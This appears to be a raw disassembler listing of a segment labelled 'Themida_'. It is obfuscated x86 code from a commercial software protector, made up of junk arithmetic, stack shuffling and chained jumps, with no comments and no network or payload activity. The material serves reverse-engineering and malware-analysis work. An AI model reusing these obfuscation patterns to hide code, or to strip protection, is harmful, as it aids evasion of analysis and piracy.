mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ebx
push ebp
mov ebp, 4
push ebp
sub dword ptr [esp], 18A52A89h
pop ebx
push ebp
mov ebp, 18A52A89h
add ebx, ebp
pop ebp
jmp loc_5A6DA4
; ---------------------------------------------------------------------------
loc_5AA410: ; CODE XREF: Themida_:loc_5A194Fj
sub esi, 58FCF9A3h
jmp loc_5AD96F
; ---------------------------------------------------------------------------
loc_5AA41B: ; CODE XREF: Themida_:005A5861j
add esi, 6829181Bh
push dword ptr [esp]
jmp loc_59D620
; ---------------------------------------------------------------------------
loc_5AA429: ; CODE XREF: Themida_:005A2EF7j
push esp
pop ebp
push 3A2Bh
mov [esp], edx
push 676Ah
mov [esp], esi
mov esi, 1AE036BAh
push 720Ch
mov [esp], ebp
jmp loc_59BD1C
; ---------------------------------------------------------------------------
loc_5AA44D: ; CODE XREF: Themida_:005A9775j
push ebp
jmp loc_5A00D0
; ---------------------------------------------------------------------------
loc_5AA453: ; CODE XREF: Themida_:0059DD5Cj
or eax, 7B651D28h
xor eax, 804095h
add esi, eax
pop eax
xor esi, 3A12BBEh
add edx, esi
pop esi
jmp loc_59AA7A
; ---------------------------------------------------------------------------
loc_5AA46E: ; CODE XREF: Themida_:005A07E1j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AA473: ; CODE XREF: Themida_:005A52BAj
jmp loc_5A39F0
; ---------------------------------------------------------------------------
loc_5AA478: ; CODE XREF: Themida_:005A2B0Cj
add [esp+4], edi
mov edi, [esp]
push edi
push esp
pop edi
jmp loc_5A4686
; ---------------------------------------------------------------------------
loc_5AA487: ; CODE XREF: Themida_:0059FED0j
mov ecx, 4
jmp loc_59D5AE
; ---------------------------------------------------------------------------
loc_5AA491: ; CODE XREF: Themida_:005ADB38j
xor esi, eax
pop eax
push edi
jmp loc_598D6B
; ---------------------------------------------------------------------------
loc_5AA49A: ; CODE XREF: Themida_:005AB096j
; Themida_:005AD846j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AA49F: ; CODE XREF: Themida_:005A2B5Cj
pop bx
push ecx
mov cl, 1Eh
push ebx
jmp loc_5A9BF4
; ---------------------------------------------------------------------------
loc_5AA4AA: ; CODE XREF: Themida_:005AD5A0j
mov esi, 5B7656CAh
add esi, 0A489A937h
and eax, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_59EB15
; ---------------------------------------------------------------------------
loc_5AA4C8: ; CODE XREF: Themida_:005A5387j
pop esi
pop dword ptr [esp]
pop esp
push dword ptr [esp]
pop eax
push edi
push esp
pop edi
push eax
mov eax, 5B9602D3h
jmp loc_59E3AE
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_5AA609
; ---------------------------------------------------------------------------
loc_5AA4F9: ; CODE XREF: Themida_:005AA263j
push small word ptr [eax]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AA501: ; CODE XREF: Themida_:005AACA8j
mov [esp], eax
push ebx
jmp loc_59C7B2
; ---------------------------------------------------------------------------
loc_5AA50A: ; CODE XREF: Themida_:005A9211j
add esp, 4
push ebx
mov ebx, 43F63D03h
and ebx, 2736679Dh
jnb loc_5A8576
push ecx
jmp loc_59E89A
; ---------------------------------------------------------------------------
and esi, 4A7829BAh
push esi
loc_5AA52F: ; CODE XREF: Themida_:0059C6C4j
xor ecx, 2B50F99Dh
jmp loc_5A7B03
; ---------------------------------------------------------------------------
loc_5AA53A: ; CODE XREF: Themida_:0059DE9Aj
; Themida_:005A53E4j
pop ecx
mov ecx, edi
mov edi, [esp]
add esp, 4
push eax
mov eax, 40496A21h
add eax, 67654108h
shr eax, 7
neg eax
add eax, 6B064F36h
add eax, 7C8B0C2Ah
mov esi, eax
pop eax
add esi, ecx
pop ecx
shr esi, 8
or esi, 59D724CEh
sub esi, 1
jmp loc_59BF96
; ---------------------------------------------------------------------------
loc_5AA574: ; CODE XREF: Themida_:005AE841j
push dword ptr [esp]
pop edx
jmp loc_5AF23B
; ---------------------------------------------------------------------------
loc_5AA57D: ; CODE XREF: Themida_:005997F1j
mov eax, esp
jmp loc_5A57EA
; ---------------------------------------------------------------------------
loc_5AA584: ; CODE XREF: Themida_:loc_5A085Aj
neg ebp
jbe loc_5A9B2B
push eax
mov eax, 0CEB7AB35h
xor ebp, eax
pop eax
mov edx, ebp
mov ebp, ecx
loc_5AA599: ; CODE XREF: Themida_:005AF076j
mov ebp, 56E95F0Ah
sub ebp, 56E95F06h
mov eax, ebp
pop ebp
sub esi, eax
jmp loc_599DF0
; ---------------------------------------------------------------------------
loc_5AA5AE: ; CODE XREF: Themida_:005A7D9Dj
mov ecx, 546E19CBh
and ecx, 12E329E0h
and ecx, 3C4A58A3h
jmp loc_598C1E
; ---------------------------------------------------------------------------
loc_5AA5C4: ; CODE XREF: Themida_:005A73F2j
pop esi
jmp loc_59C147
; ---------------------------------------------------------------------------
loc_5AA5CA: ; CODE XREF: Themida_:005A3F40j
jl loc_59BAF9
sub eax, 8F87E65Bh
mov ebp, eax
pop eax
push ebx
push eax
mov eax, 433C5957h
mov ebx, eax
jmp loc_5A5453
; ---------------------------------------------------------------------------
loc_5AA5E6: ; CODE XREF: Themida_:005A4E85j
sub edi, esi
jmp loc_59EE4D
; ---------------------------------------------------------------------------
loc_5AA5ED: ; CODE XREF: Themida_:005A1B38j
add ecx, ebp
pop ebp
push eax
mov eax, 368929B2h
jmp loc_59B65C
; ---------------------------------------------------------------------------
loc_5AA5FB: ; CODE XREF: Themida_:005A7469j
or ebx, eax
pop eax
add ebx, 8400E01Ah
jmp loc_5AE524
; ---------------------------------------------------------------------------
loc_5AA609: ; CODE XREF: Themida_:005AA4F4j
push 6883h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_59DCC0
; ---------------------------------------------------------------------------
loc_5AA61B: ; CODE XREF: Themida_:005AD700j
or ebx, eax
jmp loc_5A881E
; ---------------------------------------------------------------------------
loc_5AA622: ; CODE XREF: Themida_:0059CA6Aj
push esi
jmp loc_5A53CC
; ---------------------------------------------------------------------------
loc_5AA628: ; CODE XREF: Themida_:005A0DE5j
push edi
mov edi, 4
add ebx, edi
pop edi
add ebx, 4
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_5A4C82
; ---------------------------------------------------------------------------
loc_5AA648: ; CODE XREF: Themida_:005A68B5j
xchg ebx, [esp]
pop esp
jmp loc_5A3AB2
; ---------------------------------------------------------------------------
loc_5AA651: ; CODE XREF: Themida_:0059B382j
add cl, bl
sub cl, 44h
jmp loc_59952A
; ---------------------------------------------------------------------------
loc_5AA65B: ; CODE XREF: Themida_:0059E2E0j
add ebx, 3A9931B0h
sub eax, ebx
pop ebx
push 0AEFh
mov [esp], edi
jmp loc_5AB06A
; ---------------------------------------------------------------------------
loc_5AA671: ; CODE XREF: Themida_:005A73B7j
mov esi, [esp]
add esp, 4
not ecx
push edi
mov edi, 0C762B3Eh
jmp loc_59CB05
; ---------------------------------------------------------------------------
push 5109h
push 7045h
push esp
pop dword ptr [esp]
push ebp
push edi
mov edi, 4
mov ebp, edi
pop edi
sub dword ptr [esp+4], 2DA3138Bh
add dword ptr [esp+4], 6B530916h
add [esp+4], ebp
sub dword ptr [esp+4], 6B530916h
add dword ptr [esp+4], 2DA3138Bh
push dword ptr [esp]
pop ebp
add esp, 4
pop dword ptr [esp]
jmp loc_598B66
; ---------------------------------------------------------------------------
loc_5AA6D2: ; CODE XREF: Themida_:005A712Aj
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
add edx, ebp
jmp loc_5A513D
; ---------------------------------------------------------------------------
loc_5AA6E7: ; CODE XREF: Themida_:005A61E1j
push 4E9Bh
mov [esp], edi
mov edi, 369753DAh
shl edi, 1
shl edi, 2
sub edi, 732B3A73h
sub esi, edi
mov edi, [esp]
add esp, 4
jmp loc_5AC5AD
; ---------------------------------------------------------------------------
loc_5AA70F: ; CODE XREF: Themida_:00598FB2j
add esi, 4
push eax
push edx
mov edx, 1A233125h
jmp loc_5A62E4
; ---------------------------------------------------------------------------
loc_5AA721: ; CODE XREF: Themida_:005A2CC7j
add dword ptr [esp], 4
mov ebp, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
add ecx, eax
pop eax
xchg ecx, [esp]
jmp loc_5A8AB9
; ---------------------------------------------------------------------------
loc_5AA74A: ; CODE XREF: Themida_:005A4EBEj
jb loc_5AE75F
add ebp, 0DBB3D02Bh
inc ebp
jmp loc_59B172
; ---------------------------------------------------------------------------
loc_5AA75C: ; CODE XREF: Themida_:005A5BAEj
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_5A39EB
; ---------------------------------------------------------------------------
loc_5AA768: ; CODE XREF: Themida_:0059979Dj
pop ebp
sub eax, edi
pop edi
mov edx, [esp]
push ecx
jmp loc_5A1BEA
; ---------------------------------------------------------------------------
loc_5AA775: ; CODE XREF: Themida_:005AC1C8j
jnz loc_5AD8D8
sub esi, 8C446A95h
mov ebp, esi
pop esi
and dh, 52h
loc_5AA787: ; CODE XREF: Themida_:005AEC80j
sub edi, 47E417h
mov esi, edi
mov edi, [esp]
add esp, 4
xor ebx, esi
mov esi, [esp]
jmp loc_5A21B0
; ---------------------------------------------------------------------------
loc_5AA7A2: ; CODE XREF: Themida_:005A3483j
add esi, 4
jmp loc_5A08C7
; ---------------------------------------------------------------------------
loc_5AA7AD: ; CODE XREF: Themida_:005AA873j
push edi
jmp loc_5ADDE7
; ---------------------------------------------------------------------------
loc_5AA7B3: ; CODE XREF: Themida_:005A5FE6j
xor ebx, eax
mov eax, [esp]
add esp, 4
and ebx, 38DB6CA0h
push edx
mov edx, 65A04A48h
or edx, 2623614Bh
jmp loc_5AE4A5
; ---------------------------------------------------------------------------
loc_5AA7D2: ; CODE XREF: Themida_:005A49DCj
mov [esp], edi
mov edi, 3F7F625Ch
push edi
pop ebx
pop edi
push esi
mov esi, 57E70D63h
shr esi, 2
add esi, 4A2228F1h
push ebp
mov ebp, 4CE63D8Ch
or esi, ebp
jmp loc_59BCA8
; ---------------------------------------------------------------------------
loc_5AA7F9: ; CODE XREF: Themida_:005AB0D1j
pop ebp
shr eax, 6
shr eax, 3
shr eax, 6
jmp loc_5A827A
; ---------------------------------------------------------------------------
loc_5AA808: ; CODE XREF: Themida_:005A353Fj
sub esp, 4
mov [esp], edi
mov edi, 3AE76D6h
shr edi, 6
add edi, 0FFFFFFFFh
add edi, 331E82C1h
add eax, edi
pop edi
jmp loc_59D3DB
; ---------------------------------------------------------------------------
loc_5AA82A: ; CODE XREF: Themida_:005AB63Ej
add esi, 210C7189h
jmp loc_59AB0D
; ---------------------------------------------------------------------------
loc_5AA835: ; CODE XREF: Themida_:005A8150j
push eax
mov eax, esp
jmp loc_5AE538
; ---------------------------------------------------------------------------
loc_5AA83D: ; CODE XREF: Themida_:00599A31j
push 63B4249Ah
mov ecx, [esp]
add esp, 4
shr ecx, 7
sub ecx, 0B2F86432h
jmp loc_5AAAD7
; ---------------------------------------------------------------------------
loc_5AA856: ; CODE XREF: Themida_:005A1407j
sub eax, 5E5041C6h
jp loc_5A5AA2
add eax, 34DEEA45h
jmp loc_5A8633
; ---------------------------------------------------------------------------
mov ch, ah
loc_5AA86D: ; CODE XREF: Themida_:00598A10j
push ebx
mov ebx, 495D726Dh
jmp loc_5AA7AD
; ---------------------------------------------------------------------------
loc_5AA878: ; CODE XREF: Themida_:005ABF0Dj
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_59A361
; ---------------------------------------------------------------------------
loc_5AA887: ; CODE XREF: Themida_:005988B5j
; Themida_:005A42D6j
push edx
mov edx, esp
push ebx
mov ebx, 1BDC02E2h
push 30FEh
mov [esp], eax
mov eax, 2DEF4BCDh
push edx
mov edx, 784527BEh
add eax, edx
pop edx
dec eax
push 2858h
mov [esp], ebp
mov ebp, 3E290FD9h
or eax, ebp
pop ebp
jmp loc_5A7464
; ---------------------------------------------------------------------------
loc_5AA8BC: ; CODE XREF: Themida_:005AB1F1j
pop edi
jmp loc_5A5084
; ---------------------------------------------------------------------------
loc_5AA8C2: ; CODE XREF: Themida_:0059C43Fj
; Themida_:005A125Fj
mov [esp], ecx
jmp loc_59B903
; ---------------------------------------------------------------------------
loc_5AA8CA: ; CODE XREF: Themida_:0059F761j
; Themida_:005A9E8Cj
sub eax, 671432D6h
jmp loc_59C596
; ---------------------------------------------------------------------------
loc_5AA8D4: ; CODE XREF: Themida_:005A01CFj
sub ebx, 5EAF2219h
mov ebp, [esp]
add esp, 4
jmp loc_5A6D43
; ---------------------------------------------------------------------------
loc_5AA8E5: ; CODE XREF: Themida_:005985FCj
mov ecx, 180B3B60h
jmp loc_5A2559
; ---------------------------------------------------------------------------
loc_5AA8EF: ; CODE XREF: Themida_:005A3A8Aj
; Themida_:005AD018j
add al, 0D1h
add al, 0E5h
push edx
mov dl, 48h
sub al, dl
pop edx
push ecx
jmp loc_5A3E22
; ---------------------------------------------------------------------------
loc_5AA8FF: ; CODE XREF: Themida_:0059BBD8j
xchg ebx, [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_59D4BD
; ---------------------------------------------------------------------------
loc_5AA90C: ; CODE XREF: Themida_:005A1351j
mov ecx, 58D1B3ECh
jmp loc_5A7BD3
; ---------------------------------------------------------------------------
loc_5AA916: ; CODE XREF: Themida_:0059B41Aj
mov eax, 270F1FA1h
add [esp+8], eax
pop eax
add [esp+4], esi
sub dword ptr [esp+4], 270F1FA1h
pop esi
pop ebx
add ebx, 4
jmp loc_599835
; ---------------------------------------------------------------------------
loc_5AA939: ; CODE XREF: Themida_:005A98DBj
mov ecx, [esp]
jmp loc_5AD0F2
; ---------------------------------------------------------------------------
loc_5AA941: ; CODE XREF: Themida_:005A8B27j
; Themida_:loc_5AC945j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AA946: ; CODE XREF: Themida_:0059A366j
; Themida_:loc_5A6595j
mov [esp], ebx
jmp loc_59D254
; ---------------------------------------------------------------------------
loc_5AA94E: ; CODE XREF: Themida_:0059C33Cj
xor edi, 45810BF3h
xor edi, 9FA19F63h
mov ebx, edi
pop edi
sub edx, 260750DAh
add edx, ebx
add edx, 260750DAh
mov ebx, [esp]
add esp, 4
add edx, 4
xor edx, [esp]
jmp loc_5A634C
; ---------------------------------------------------------------------------
loc_5AA97F: ; CODE XREF: Themida_:005A6ABFj
push 5095h
mov [esp], esi
mov esi, 220F29BCh
jmp loc_5AD974
; ---------------------------------------------------------------------------
loc_5AA991: ; CODE XREF: Themida_:00599D3Ej
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_598E2F
; ---------------------------------------------------------------------------
loc_5AA9A5: ; CODE XREF: Themida_:005A9349j
push edx
mov edx, 6C5918E4h
sub ecx, 776F54E4h
jmp loc_5ADD55
; ---------------------------------------------------------------------------
loc_5AA9B6: ; CODE XREF: Themida_:005A88D7j
push 562h
mov [esp], ebp
mov ebp, 0FC4ED079h
sub edx, ebp
pop ebp
jmp loc_59F5F2
; ---------------------------------------------------------------------------
loc_5AA9CB: ; CODE XREF: Themida_:005AA158j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AA9D0: ; CODE XREF: Themida_:0059F268j
xchg edx, [esp]
mov esp, [esp]
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_59AA59
; ---------------------------------------------------------------------------
loc_5AA9E5: ; CODE XREF: Themida_:0059B7BEj
; Themida_:005A87D3j
push 7CE8h
jmp loc_59F976
; ---------------------------------------------------------------------------
loc_5AA9EF: ; CODE XREF: Themida_:005A964Dj
pop ecx
xor eax, 11A27BE0h
sub edi, eax
mov eax, [esp]
jmp loc_5A5E52
; ---------------------------------------------------------------------------
loc_5AA9FF: ; CODE XREF: Themida_:005A707Dj
mov [esp], edi
push 6656h
jmp loc_59EE7D
; ---------------------------------------------------------------------------
loc_5AAA0C: ; CODE XREF: Themida_:0059F922j
add esp, 4
jmp loc_599A07
; ---------------------------------------------------------------------------
loc_5AAA14: ; CODE XREF: Themida_:005A6152j
xor ecx, 2F444082h
or ecx, 1AFF6160h
jmp loc_59FD1C
; ---------------------------------------------------------------------------
loc_5AAA25: ; CODE XREF: Themida_:005A0E4Fj
add ecx, 260B540Ah
xchg ecx, edi
pop ecx
shr edi, 5
xor edi, 408B508h
jmp loc_5A1F2A
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
add esi, 4
jmp loc_5A2FE6
; ---------------------------------------------------------------------------
loc_5AAA59: ; CODE XREF: Themida_:005ACD39j
add esp, 4
mov bh, dh
mov edx, [esp]
add esp, 4
shl bh, 5
inc bh
push ecx
mov ch, 2Fh
inc ch
push dx
push ebx
mov bh, 0E5h
add bh, 1Bh
xor bh, 0D2h
mov dl, bh
pop ebx
and ch, dl
pop dx
push ax
mov al, 82h
jmp loc_5A7933
; ---------------------------------------------------------------------------
loc_5AAA8C: ; CODE XREF: Themida_:00599F99j
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_59A095
; ---------------------------------------------------------------------------
loc_5AAA9F: ; CODE XREF: Themida_:0059BCDCj
xchg ebx, [esp]
jmp loc_5AE18F
; ---------------------------------------------------------------------------
loc_5AAAA7: ; CODE XREF: Themida_:0059ADD9j
add eax, 1A783978h
pop ebx
add eax, 713E3847h
add eax, ebx
push edx
mov edx, 0D73215Fh
jmp loc_5ABAB4
; ---------------------------------------------------------------------------
loc_5AAABF: ; CODE XREF: Themida_:005A9148j
add ebx, 4
add ebx, 4
push ebx
jmp loc_5A0227
; ---------------------------------------------------------------------------
loc_5AAAD1: ; CODE XREF: Themida_:005A585Aj
; Themida_:005A7DC3j
push ebx
jmp loc_598F23
; ---------------------------------------------------------------------------
loc_5AAAD7: ; CODE XREF: Themida_:005AA851j
mov edi, ecx
pop ecx
push edi
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
pop edi
push edi
not dword ptr [esp]
pop edi
push ebp
mov ebp, 7F941AC7h
jmp loc_5A8280
; ---------------------------------------------------------------------------
loc_5AAAF4: ; CODE XREF: Themida_:005AF0E3j
push edi
push ebp
mov ebp, 76403C16h
inc ebp
sub ebp, 226C4BB1h
sub ebp, 53D3F062h
jmp loc_5AC834
; ---------------------------------------------------------------------------
loc_5AAB0D: ; CODE XREF: Themida_:005A89AAj
add esi, 4
xchg esi, [esp]
jmp loc_5A5B25
; ---------------------------------------------------------------------------
loc_5AAB1B: ; CODE XREF: Themida_:005A1289j
xor eax, 15A901D6h
sub eax, 9807A678h
add edx, eax
pop eax
push esi
mov esi, 3F27120Eh
sub ebp, esi
pop esi
add ebp, edx
jmp loc_59EEB5
; ---------------------------------------------------------------------------
loc_5AAB38: ; CODE XREF: Themida_:005A2A1Cj
xor ecx, [esp]
pop esp
mov cl, 6
add cl, 0Ch
add cl, bl
sub cl, 0Ch
push dword ptr [esp]
pop ebx
push edx
push esp
pop edx
add edx, 4
add edx, 4
jmp loc_5A1234
; ---------------------------------------------------------------------------
loc_5AAB5E: ; CODE XREF: Themida_:005AB6A5j
push 7B74h
jmp loc_5A62F1
; ---------------------------------------------------------------------------
loc_5AAB68: ; CODE XREF: Themida_:005A4F8Bj
mov eax, esp
add eax, 4
add eax, 4
push eax
jmp loc_5A470D
; ---------------------------------------------------------------------------
loc_5AAB7A: ; CODE XREF: Themida_:0059F584j
jmp loc_5ABB01
; ---------------------------------------------------------------------------
loc_5AAB7F: ; CODE XREF: Themida_:0059D55Cj
mov edx, 2
add edi, edx
pop edx
xchg edi, [esp]
mov esp, [esp]
idiv cx
push small 10D0h
mov [esp], dx
push ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AABA0: ; CODE XREF: Themida_:0059C2B5j
add esp, 4
push ecx
mov ch, 9
add ch, 0B6h
inc ch
jmp loc_5AB903
; ---------------------------------------------------------------------------
loc_5AABB3: ; CODE XREF: Themida_:loc_5A69D8j
; Themida_:005A9AEDj
xor edi, ebx
neg ebx
xchg ebx, edi
dec edi
jno loc_5A0E6D
neg edi
jbe loc_5A5C77
shr edi, 8
and cl, 0D7h
pop edx
loc_5AABCF: ; CODE XREF: Themida_:005A835Dj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AABD4: ; CODE XREF: Themida_:005ABA22j
push esi
jmp loc_5A55DA
; ---------------------------------------------------------------------------
loc_5AABDA: ; CODE XREF: Themida_:0059FE26j
mov esp, [esp]
add eax, 4
xchg eax, [esp]
jmp loc_5993B8
; ---------------------------------------------------------------------------
loc_5AABE8: ; CODE XREF: Themida_:loc_598926j
; Themida_:005AC8E5j
add ebx, 29380598h
jmp loc_5AE8EA
; ---------------------------------------------------------------------------
loc_5AABF3: ; CODE XREF: Themida_:0059BB3Dj
or eax, eax
jz loc_59E5A8
sub esp, 4
mov [esp], ebx
push ecx
mov ecx, esp
jmp loc_59C904
; ---------------------------------------------------------------------------
loc_5AAC09: ; CODE XREF: Themida_:005AC6A4j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5AD2BE
; ---------------------------------------------------------------------------
loc_5AAC15: ; CODE XREF: Themida_:005AC4C9j
; Themida_:005AEBDCj
pop ebx
jmp loc_5AA173
; ---------------------------------------------------------------------------
loc_5AAC1B: ; CODE XREF: Themida_:005A220Dj
; Themida_:005AB594j
mov [esp], eax
mov eax, 4
sub ecx, eax
mov eax, [esp]
jmp loc_5AAC48
; ---------------------------------------------------------------------------
loc_5AAC2D: ; CODE XREF: Themida_:005AE0B8j
sub eax, 7324145Eh
shr eax, 6
jmp loc_59E4E5
; ---------------------------------------------------------------------------
loc_5AAC3A: ; CODE XREF: Themida_:005A0603j
add esi, 4
xchg esi, [esp]
jmp loc_59AE1C
; ---------------------------------------------------------------------------
loc_5AAC48: ; CODE XREF: Themida_:005AAC28j
add esp, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, 4
jmp loc_5A79E0
; ---------------------------------------------------------------------------
loc_5AAC5F: ; CODE XREF: Themida_:loc_5A0B2Bj
; Themida_:005AC7A4j
add esi, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 4
sub esi, 38682825h
add esi, 374959D1h
add esi, ecx
sub esi, 374959D1h
jmp loc_5AEC85
; ---------------------------------------------------------------------------
loc_5AAC98: ; CODE XREF: Themida_:005A1E29j
sub esi, edi
pop edi
sub esi, 0EEF9C67Eh
sub edx, esi
pop esi
xchg edx, [esp]
pop esp
jmp loc_5AA501
; ---------------------------------------------------------------------------
loc_5AACAD: ; CODE XREF: Themida_:0059B10Aj
shl dl, 8
add dl, 6Fh
mov ah, dl
mov edx, [esp]
add esp, 4
jmp loc_59A16B
; ---------------------------------------------------------------------------
loc_5AACC0: ; CODE XREF: Themida_:005A9308j
mov edi, 333D2BA2h
dec edi
jg loc_5A2007
jmp loc_5AB518
; ---------------------------------------------------------------------------
mov edi, edx
jmp loc_5A89A4
; ---------------------------------------------------------------------------
push esp
loc_5AACD9: ; CODE XREF: Themida_:005ADBCDj
mov edi, 24E16650h
xor edi, edx
pop edx
inc edi
xor edi, 6EA738CDh
xor edi, 1ED028EDh
add ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_59F732
; ---------------------------------------------------------------------------
loc_5AACFB: ; CODE XREF: Themida_:00598E42j
xor [esp], esi
jmp loc_59F338
; ---------------------------------------------------------------------------
loc_5AAD03: ; CODE XREF: Themida_:005AF296j
inc edx
jle loc_5992AB
jmp loc_5AEF51
; ---------------------------------------------------------------------------
push 77AAh
mov [esp], ecx
loc_5AAD17: ; CODE XREF: Themida_:005AE8DEj
mov ebx, 49D506D1h
inc ebx
jmp loc_5A8ECC
; ---------------------------------------------------------------------------
loc_5AAD22: ; CODE XREF: Themida_:0059BB6Cj
mov edi, [esp]
add esp, 4
xor ebp, ebx
pop ebx
sub [esp+4], ebp
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
add esp, 4
add ecx, 2C4D215Dh
jmp loc_5AECC9
; ---------------------------------------------------------------------------
loc_5AAD55: ; CODE XREF: Themida_:005A64C4j
jmp loc_5A87D8
; ---------------------------------------------------------------------------
loc_5AAD5A: ; CODE XREF: Themida_:0059BF48j
push ebp
sub esp, 4
mov [esp], edx
push 4A5D097Fh
mov edx, [esp]
add esp, 4
push eax
mov eax, 3D70E6F8h
sub edx, eax
pop eax
jmp loc_5A892D
; ---------------------------------------------------------------------------
loc_5AAD7D: ; CODE XREF: Themida_:00598658j
pop eax
sub dword ptr [esp], 5D083954h
sub [esp], eax
add dword ptr [esp], 5D083954h
jmp loc_5A9A6D
; ---------------------------------------------------------------------------
loc_5AAD94: ; CODE XREF: Themida_:005A1F45j
and eax, 5A522592h
jmp loc_5AEDE2
; ---------------------------------------------------------------------------
loc_5AAD9E: ; CODE XREF: Themida_:005A6C51j
jp loc_5A8090
shr ebx, 3
sub ebx, 0FFFFFFFFh
push eax
mov bh, 6Ah
mov bl, 9Dh
loc_5AADAF: ; CODE XREF: Themida_:005A1FD3j
and edi, 48F8237Ah
push eax
jmp loc_599DA3
; ---------------------------------------------------------------------------
loc_5AADBB: ; CODE XREF: Themida_:005A2AEBj
add ebp, 6CCD6A74h
add ebp, ecx
sub ebp, 6CCD6A74h
pop ecx
xchg ebp, [esp]
pop esp
sub dword ptr [esp], 11DE6264h
push ecx
mov ecx, 7F1A7AD7h
push ebx
mov ebx, 1ABD5205h
jmp loc_59E454
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ecx
mov ecx, 75D0086Bh
push ebp
jmp loc_5A1010
; ---------------------------------------------------------------------------
loc_5AADF8: ; CODE XREF: Themida_:0059CA07j
push edx
jmp loc_59C444
; ---------------------------------------------------------------------------
loc_5AADFE: ; CODE XREF: Themida_:005986DAj
push edx
xor dword ptr [esp], 1DBA43BEh
pop esi
push edi
mov edi, 1DBA43BEh
xor esi, edi
pop edi
jmp loc_59ED82
; ---------------------------------------------------------------------------
loc_5AAE15: ; CODE XREF: Themida_:005A8D15j
; Themida_:005AB86Fj
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_59B54F
; ---------------------------------------------------------------------------
loc_5AAE24: ; CODE XREF: Themida_:0059CF6Bj
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5AE244
; ---------------------------------------------------------------------------
loc_5AAE3E: ; CODE XREF: Themida_:0059AAF5j
mov ecx, 331E6D87h
mov edx, ecx
jmp loc_5A7525
; ---------------------------------------------------------------------------
loc_5AAE4A: ; CODE XREF: Themida_:005A2F74j
not dl
jmp loc_59D80E
; ---------------------------------------------------------------------------
loc_5AAE51: ; CODE XREF: Themida_:0059EF1Fj
; Themida_:loc_5A59A4j
push eax
mov eax, 15054CDCh
mov ebp, 1873E45Ah
jmp loc_59F7D9
; ---------------------------------------------------------------------------
loc_5AAE61: ; CODE XREF: Themida_:0059C27Aj
pop esi
push ebp
mov ebp, 175A57F8h
xor ebp, 496B5615h
sub ebx, ebp
pop ebp
add ebx, eax
add ebx, 5E3101EDh
mov eax, [esp]
add esp, 4
push 2B04h
jmp loc_59C86E
; ---------------------------------------------------------------------------
loc_5AAE89: ; CODE XREF: Themida_:005A2C8Dj
; Themida_:005A8162j
sub [esp+4], eax
add dword ptr [esp+4], 338B2AF5h
jmp loc_59A142
; ---------------------------------------------------------------------------
loc_5AAE9A: ; CODE XREF: Themida_:0059B425j
sub edi, 0C7541FFh
add edi, 47F71E96h
push ecx
mov ecx, 3736BEDh
xor ecx, 0E17CAEF7h
sub edi, ecx
pop ecx
jmp loc_5A0A4B
; ---------------------------------------------------------------------------
loc_5AAEBA: ; CODE XREF: Themida_:005ACCF5j
add ecx, 2CC214F6h
sub ecx, edx
sub ecx, 2CC214F6h
jmp loc_5A3A31
; ---------------------------------------------------------------------------
loc_5AAECD: ; CODE XREF: Themida_:005A5323j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 77AAh
jmp loc_5A882F
; ---------------------------------------------------------------------------
loc_5AAEE7: ; CODE XREF: Themida_:005A7C63j
sub [esp], bl
mov bl, [esp]
jmp loc_59E29B
; ---------------------------------------------------------------------------
loc_5AAEF2: ; CODE XREF: Themida_:005AD344j
xchg ecx, [esp]
pop esp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5A5B2B
; ---------------------------------------------------------------------------
loc_5AAF04: ; CODE XREF: Themida_:005A01FEj
pop edx
jmp loc_5AE59C
; ---------------------------------------------------------------------------
loc_5AAF0A: ; CODE XREF: Themida_:005A710Dj
; Themida_:005AF0A0j
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
push 7D02h
mov [esp], esi
mov esi, 4
jmp loc_5ABC1E
; ---------------------------------------------------------------------------
loc_5AAF34: ; CODE XREF: Themida_:005A5BFBj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A1701
; ---------------------------------------------------------------------------
loc_5AAF49: ; CODE XREF: Themida_:005A9B36j
mov ebp, [esp]
add esp, 4
shr edx, 3
jnz loc_5A0AC1
xor edx, 1009146Fh
jmp loc_5A6CAD
; ---------------------------------------------------------------------------
loc_5AAF63: ; CODE XREF: Themida_:005A015Bj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor bp, bx
pop bx
mov si, bp
jmp loc_599815
